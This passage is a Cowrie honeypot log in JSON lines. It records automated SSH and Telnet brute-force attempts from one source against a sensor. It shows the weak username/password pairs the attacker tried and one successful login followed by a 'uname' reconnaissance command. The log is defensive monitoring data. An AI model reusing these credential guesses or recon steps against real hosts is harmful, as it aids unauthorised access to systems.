0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:50.663193Z","src_ip":"176.65.132.129","session":"b228cf02566c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:50.909602Z","src_ip":"176.65.132.129","session":"b228cf02566c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:51.994043Z","src_ip":"176.65.132.129","session":"b228cf02566c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43584,"dst_ip":"159.203.135.109","dst_port":22,"session":"d32d3486d32c","protocol":"ssh","message":"New connection: 176.65.132.129:43584 (159.203.135.109:22) [session: d32d3486d32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:53.978768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:54.123719Z","src_ip":"176.65.132.129","session":"d32d3486d32c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:54.127052Z","src_ip":"176.65.132.129","session":"d32d3486d32c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:54.483414Z","src_ip":"176.65.132.129","session":"d32d3486d32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:55.567739Z","src_ip":"176.65.132.129","session":"d32d3486d32c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47834,"dst_ip":"159.203.135.109","dst_port":22,"session":"fab5abd43410","protocol":"ssh","message":"New connection: 176.65.132.129:47834 (159.203.135.109:22) [session: fab5abd43410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:57.547379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:57.551512Z","src_ip":"176.65.132.129","session":"fab5abd43410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:57.636675Z","src_ip":"176.65.132.129","session":"fab5abd43410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:57.883161Z","src_ip":"176.65.132.129","session":"fab5abd43410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:59.084179Z","src_ip":"176.65.132.129","session":"fab5abd43410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.97670865058899,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:00.478617Z","src_ip":"45.58.127.90","session":"5a2e569332d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47864,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b872e1dedcd","protocol":"ssh","message":"New connection: 176.65.132.129:47864 (159.203.135.109:22) [session: 8b872e1dedcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:00.837960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:00.843058Z","src_ip":"176.65.132.129","session":"8b872e1dedcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.208271741867065,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:00.890832Z","src_ip":"45.58.127.90","session":"05ce08a7bf1d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:00.925958Z","src_ip":"176.65.132.129","session":"8b872e1dedcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:01.175410Z","src_ip":"176.65.132.129","session":"8b872e1dedcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:02.262007Z","src_ip":"176.65.132.129","session":"8b872e1dedcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47904,"dst_ip":"159.203.135.109","dst_port":22,"session":"56869d6f2866","protocol":"ssh","message":"New connection: 176.65.132.129:47904 (159.203.135.109:22) [session: 56869d6f2866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:04.229310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:04.273281Z","src_ip":"176.65.132.129","session":"56869d6f2866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:04.327066Z","src_ip":"176.65.132.129","session":"56869d6f2866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42602,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2a256c0f15f","protocol":"telnet","message":"New connection: 45.58.127.90:42602 (10.17.0.5:23) [session: e2a256c0f15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:04.339463Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:04.655848Z","src_ip":"176.65.132.129","session":"56869d6f2866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.730431318283081,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:05.069779Z","src_ip":"45.58.127.90","session":"e2a256c0f15f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:05.750038Z","src_ip":"176.65.132.129","session":"56869d6f2866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39848,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1265ac21e22","protocol":"ssh","message":"New connection: 176.65.132.129:39848 (159.203.135.109:22) [session: c1265ac21e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:07.669669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:07.675049Z","src_ip":"176.65.132.129","session":"c1265ac21e22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:07.758022Z","src_ip":"176.65.132.129","session":"c1265ac21e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:08.008271Z","src_ip":"176.65.132.129","session":"c1265ac21e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:09.093805Z","src_ip":"176.65.132.129","session":"c1265ac21e22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49040,"dst_ip":"10.17.0.5","dst_port":23,"session":"a29e5415b73a","protocol":"telnet","message":"New connection: 45.58.127.90:49040 (10.17.0.5:23) [session: a29e5415b73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:10.314749Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39870,"dst_ip":"159.203.135.109","dst_port":22,"session":"5be2548696a6","protocol":"ssh","message":"New connection: 176.65.132.129:39870 (159.203.135.109:22) [session: 5be2548696a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:11.066095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:11.071648Z","src_ip":"176.65.132.129","session":"5be2548696a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:11.153959Z","src_ip":"176.65.132.129","session":"5be2548696a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:11.401410Z","src_ip":"176.65.132.129","session":"5be2548696a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49046,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e4c2100b783","protocol":"telnet","message":"New connection: 45.58.127.90:49046 (10.17.0.5:23) [session: 5e4c2100b783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:12.117013Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:12.485562Z","src_ip":"176.65.132.129","session":"5be2548696a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39898,"dst_ip":"159.203.135.109","dst_port":22,"session":"400e52160af3","protocol":"ssh","message":"New connection: 176.65.132.129:39898 (159.203.135.109:22) [session: 400e52160af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:14.659903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:14.665129Z","src_ip":"176.65.132.129","session":"400e52160af3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:14.753509Z","src_ip":"176.65.132.129","session":"400e52160af3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:15.000937Z","src_ip":"176.65.132.129","session":"400e52160af3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:15.220588Z","src_ip":"176.65.132.129","session":"400e52160af3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:15.224203Z","src_ip":"176.65.132.129","session":"400e52160af3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:15.311353Z","src_ip":"176.65.132.129","session":"400e52160af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:15.317069Z","src_ip":"176.65.132.129","session":"400e52160af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60316,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f3e8bc5f14c","protocol":"ssh","message":"New connection: 176.65.132.129:60316 (159.203.135.109:22) [session: 6f3e8bc5f14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:18.091735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:18.096825Z","src_ip":"176.65.132.129","session":"6f3e8bc5f14c","protocol":"ssh"}
